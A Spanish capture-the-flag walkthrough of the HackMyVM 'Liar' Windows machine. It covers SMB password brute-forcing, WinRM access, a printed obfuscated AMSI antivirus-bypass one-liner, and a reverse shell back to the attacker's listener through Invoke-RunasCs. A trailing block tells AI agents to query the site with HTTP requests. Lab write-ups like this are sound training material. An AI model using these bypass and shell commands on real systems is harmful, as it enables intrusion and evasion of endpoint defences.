# Liar HackMyVM (Easy - Windows)

## Escaneo de puertos

```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```shell
nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 03:23 EDT
Nmap scan report for 192.168.1.154
Host is up (0.00037s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:5B:D0:18 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 17s
|_nbstat: NetBIOS name: WIN-IURF14RBVGV, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:5b:d0:18 (Oracle VirtualBox virtual NIC)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-26T07:24:27
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.02 seconds
```

Vemos varias cosas interesantes, entre ellas que tiene una pagina web en el puerto `80` y tambien tiene un servidor `SMB`, si intentamos enumerar de forma anonima el servidor `SMB` veremos que no nos deja, por lo que tendremos que seguir buscando.

Si entramos en la pagina web veremos unicamente eso:

```
Hey bro, You asked for an easy Windows VM, enjoy it. - nica
```

Vemos que nos estan proporcionando un nombre de usuario, por lo que vamos a utilizarlo para realizar fuerza bruta en el servidor `SMB` de la siguiente forma:

## NetExec

```shell
netexec smb <IP> -u nica -p <WORDLIST> --ignore-pw-decoding
```

Info:

```
SMB         192.168.1.154   445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore
```

Vemos que hemos encontrado las credenciales de dicho usuario, por lo que listaremos los recursos compartidos del servidor de `SMB`.

```shell
smbclient -L //<IP>/ -U nica
```

Info:

```
Password for [WORKGROUP\nica]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Admin remota
        C$              Disk      Recurso predeterminado
        IPC$            IPC       IPC remota
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.154 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Veremos los recursos compartidos por defecto, por lo que no nos sirve de mucho, pero vamos a probar a conectarnos de forma remota con dichas credenciales por si fueran las mismas mediante la herramienta `evil-winrm`.

## Evil-winrm

Como antes hemos observado el puerto de `winrm` esta abierto:

```
5985/tcp  open  http
```

Por lo que podremos realizar lo siguiente, probando dichas credenciales:

```shell
evil-winrm -i <IP> -u nica -p hardcore
```

Info:

```
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nica\Documents> whoami
win-iurf14rbvgv\nica
```

Vemos que funciona por lo que tendremos una `PowerShell` de forma remota con la maquina victima como el usuario `nica`.

Vamos a leer la flag del usuario.

> user.txt

```
HMVWINGIFT
```

## Escalate user akanksha

Vamos a ver que usuarios hay:

```powershell
net user
```

Info:

```
Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador            akanksha                 DefaultAccount
Invitado                 nica                     WDAGUtilityAccount
El comando se ha completado con uno o m s errores.
```

Vemos que hay otro usuario llamado `akanksha` por lo que tiene pinta de que tendremos que intentar escalar a dicho usuario, ya que si vemos los privilegios que tenemos no veremos gran cosa.

Vamos a probar a realizar fuerza bruta desde el `SMB` con el usuario `akanksha` y ver si nos encuentra algo, ya que si nos encuentra alguna credencial puede ser que sea la misma que la del propio sistema operativo.

### NetExec akanksha

```shell
netexec smb <IP> -u akanksha -p <WORDLIST> --ignore-pw-decoding
```

Info:

```
SMB   192.168.1.154   445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\akanksha:sweetgirl
```

Vemos que nos ha descubierto las credenciales de forma correcta, por lo que ahora vamos a probar a utilizarlas con dicho usuario desde el `PowerShell` de `nica`.

Como nosotros no tenemos una interfaz grafica, no podremos utilizar un simple comando de `runas` para que se nos habra una `PowerShell` autenticado como el usuario, por lo que tendremos que utilizar un ejecutable de `GitHub` que te autentica con el usuario en la misma terminal:

URL = [RunasCs.exe Download](https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip)

Una vez descargado en nuestro `host` tendremos que pasarnoslo a la maquina victima, ya que estamos en una sesion con `Evil-WinRM` podremos realizar la subida del archivo de forma facil:

```powershell
upload /home/kali/Desktop/RunasCs.exe
```

Info:

```
Info: Uploading /home/kali/Desktop/RunasCs.exe to C:\Users\nica\Desktop\RunasCs.exe
                                        
Data: 68948 bytes of 68948 bytes copied
                                        
Info: Upload successful!
```

Con esto ya tendremos el archivo subido de forma correcta, pero si diera algun error como me esta pasando a mi, podremos hacerlo de otra forma mediante el archivo `.ps1` directamente:

URL = [Invoke-RunasCs.ps1 Download](https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1)

Vamos a pasarnoslo a la maquina victima de la misma forma que hicimos con el `.exe`:

```powershell
upload /home/kali/Desktop/Invoke-RunasCs.ps1
```

Info:

```
Info: Uploading /home/kali/Desktop/Invoke-RunasCs.ps1 to C:\Users\nica\Desktop\Invoke-RunasCs.ps1
                                        
Data: 117712 bytes of 117712 bytes copied
                                        
Info: Upload successful!
```

Ahora vamos a importarlo para despues poder ejecutarlo de la siguiente forma:

```powershell
Import-Module ./Invoke-RunasCs.ps1
```

Pero esto tambien me lo esta bloqueando el `antivirus`, por lo que os dejo una pagina que yo he creado para `Bypassear` dicho antivirus de `Windows` realizando un `Bypass` en el modulo `AMSI` que contiene las firmas de dichos `malwares`, no saldra a la primera, pero me llevo unos 30 minutos hasta que consegui uno que funcionada de los codigos que genera de forma aleatoria, os dejo el que utilice:

URL = [Bypass Modulo AMSI Pagina](https://d1se0.github.io/AMSI-Bypass-Generator/index.html)

```powershell
$JmRIgg7pbjB=$null;$J5xhHEldAdGmGsdjV=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+6814-6814));$kdiojlldvsqhsvfjwl="+[ChAr](104+62-62)+[cHAR]([bYte]0x75)";[Threading.Thread]::Sleep(457);[Ref].Assembly.GetType("System.$([CHAr]([byTE]0x4d)+[chAr](24+73)+[cHAr](44+66)+[Char](97+66-66)+[chaR]([BYte]0x67)+[CHAR]([bYtE]0x65)+[cHAr](109+62-62)+[cHaR]([BYTe]0x65)+[cHaR]([ByTe]0x6e)+[cHar]([bYtE]0x74)).$([chaR]([bYTe]0x41)+[CHAR]([BYTe]0x75)+[CHar](116)+[chAr]([BYTE]0x6f)+[CHaR](78+31)+[chAr]([byTE]0x61)+[CHar]([Byte]0x74)+[char](6+99)+[Char](111)+[Char](110*74/74)).$([CHaR]([byte]0x41)+[char](5+104)+[ChaR]([bytE]0x73)+[chAR](105*63/63)+[cHaR](85*29/29)+[CHAR](80+36)+[CHaR](52+53)+[chAR]([BYTe]0x6c)+[ChaR](115*74/74))").GetField("$([ChaR]([bYTe]0x61)+[CHAR](109*65/65)+[Char]([byte]0x73)+[ChaR](105)+[cHar]([bYte]0x53)+[cHar]([byTE]0x65)+[ChaR](115*4/4)+[chaR](115+11-11)+[chAR](105*5/5)+[chAr](111*9/9)+[char]([byte]0x6e))", "NonPublic,Static").SetValue($JmRIgg7pbjB, $JmRIgg7pbjB);[Ref].Assembly.GetType("System.$([CHAr]([byTE]0x4d)+[chAr](24+73)+[cHAr](44+66)+[Char](97+66-66)+[chaR]([BYte]0x67)+[CHAR]([bYtE]0x65)+[cHAr](109+62-62)+[cHaR]([BYTe]0x65)+[cHaR]([ByTe]0x6e)+[cHar]([bYtE]0x74)).$([chaR]([bYTe]0x41)+[CHAR]([BYTe]0x75)+[CHar](116)+[chAr]([BYTE]0x6f)+[CHaR](78+31)+[chAr]([byTE]0x61)+[CHar]([Byte]0x74)+[char](6+99)+[Char](111)+[Char](110*74/74)).$([CHaR]([byte]0x41)+[char](5+104)+[ChaR]([bytE]0x73)+[chAR](105*63/63)+[cHaR](85*29/29)+[CHAR](80+36)+[CHaR](52+53)+[chAR]([BYTe]0x6c)+[ChaR](115*74/74))").GetField("$([CHAr]([BytE]0x61)+[cHar]([BytE]0x6d)+[cHaR]([BYte]0x73)+[cHaR](105)+[cHaR](67+51-51)+[cHaR](111+56-56)+[cHar]([bytE]0x6e)+[cHar]([byTe]0x74)+[ChAR](101*11/11)+[char]([bytE]0x78)+[cHar]([bYte]0x74))", "NonPublic,Static").SetValue($JmRIgg7pbjB, [IntPtr]$J5xhHEldAdGmGsdjV);$ilpowzzhhv="+('cmmîqxácìqmjzvkècmswìf'+'st').NORmaLIzE([cHar](70)+[char](111)+[cHaR](114*77/77)+[char](109+12-12)+[Char](68*1/1)) -replace [CHAR]([ByTE]0x5c)+[chaR]([ByTe]0x70)+[char]([bYTe]0x7b)+[cHAR]([ByTe]0x4d)+[cHaR]([ByTe]0x6e)+[CHAr]([bYtE]0x7d)";[Threading.Thread]::Sleep(1044)
```

Cuando enviemos esto mediante la terminal de `WinRM` si no nos aparece ningun error y ningun bloqueo significa que se ejecuto de forma correcta, por lo que ahora mismo el antivirus no va a mirar las firmas de los archivos que ejecutemos, por lo que si volvemos a realizar el siguiente comando:

```powershell
Import-Module ./Invoke-RunasCs.ps1
```

Ahora si nos dejara, no nos aparecera ningun error ni nada parecido, vamos a generarnos una `reverse shell` con dicho `script`.

Antes nos pondremos a la escucha:

```shell
nc -lvnp <PORT>
```

Y en la maquina victima ejecutamos el modulo de la siguiente forma:

```powershell
Invoke-RunasCs akanksha sweetgirl powershell -Remote <IP_ATTACKER>:<PORT>
```

Info:

```
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-3eb0ac$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1872 created in background.
```

Ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:

```
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.154] 49761
Windows PowerShell 
Copyright (C) Microsoft Corporation. Todos los derechos reservados.

PS C:\Windows\system32> whoami
whoami
win-iurf14rbvgv\akanksha
```

Vemos que ha funcionado, por lo que seremos dicho usuario.

## Escalate Privileges

Vamos a ver que permisos tenemos con dicho usuario:

```powershell
whoami /all
```

Info:

```
INFORMACI�N DE USUARIO
----------------------

Nombre de usuario        SID                                           
======================== ==============================================
win-iurf14rbvgv\akanksha S-1-5-21-2519875556-2276787807-2868128514-1001


INFORMACI�N DE GRUPO
--------------------

Nombre de grupo                              Tipo           SID                                            Atributos                                                               
============================================ ============== ============================================== ========================================================================
Todos                                        Grupo conocido S-1-1-0                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
WIN-IURF14RBVGV\Idministritirs               Alias          S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios                             Alias          S-1-5-32-545                                   Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\INTERACTIVE                     Grupo conocido S-1-5-4                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
INICIO DE SESI�N EN LA CONSOLA               Grupo conocido S-1-2-1                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados         Grupo conocido S-1-5-11                                       Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa��a                   Grupo conocido S-1-5-15                                       Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local                    Grupo conocido S-1-5-113                                      Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticaci�n NTLM              Grupo conocido S-1-5-64-10                                    Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta       S-1-16-8192                                                                                                            


INFORMACI�N DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci�n                                  Estado       
============================= ============================================ =============
SeChangeNotifyPrivilege       Omitir comprobaci�n de recorrido             Habilitada   
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
```

Vemos varias cosas interesantes pero entre ellas que pertenecemos al siguiente grupo:

```
WIN-IURF14RBVGV\Idministritirs    Alias   S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
```

El grupo **`WIN-IURF14RBVGV\Idministritirs`** es el grupo de **administradores** en el sistema. Aunque su nombre está mal escrito, tiene los mismos privilegios que el grupo de administradores de Windows. Los miembros de este grupo tienen **acceso completo** al sistema, lo que les permite modificar configuraciones, instalar programas, y acceder a todos los archivos. Si un atacante obtiene acceso a este grupo, podría **controlar todo el sistema**. Es crucial limitar quién pertenece a este grupo para evitar riesgos de seguridad.

Por lo que tendremos privilegios de `administrador`, vamos a probar a entrar en la carpeta del `Administrador`:

```powershell
cd C:\Users\Administrador\
```

Y veremos que si nos deja, por lo que ya habremos terminado la maquina, leeremos la flag del `admin`.

> root.txt

```
HMV1STWINDOWZ
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dise0.gitbook.io/h4cker_b00k/ctf/hackmyvm/liar-hackmyvm-easy-windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
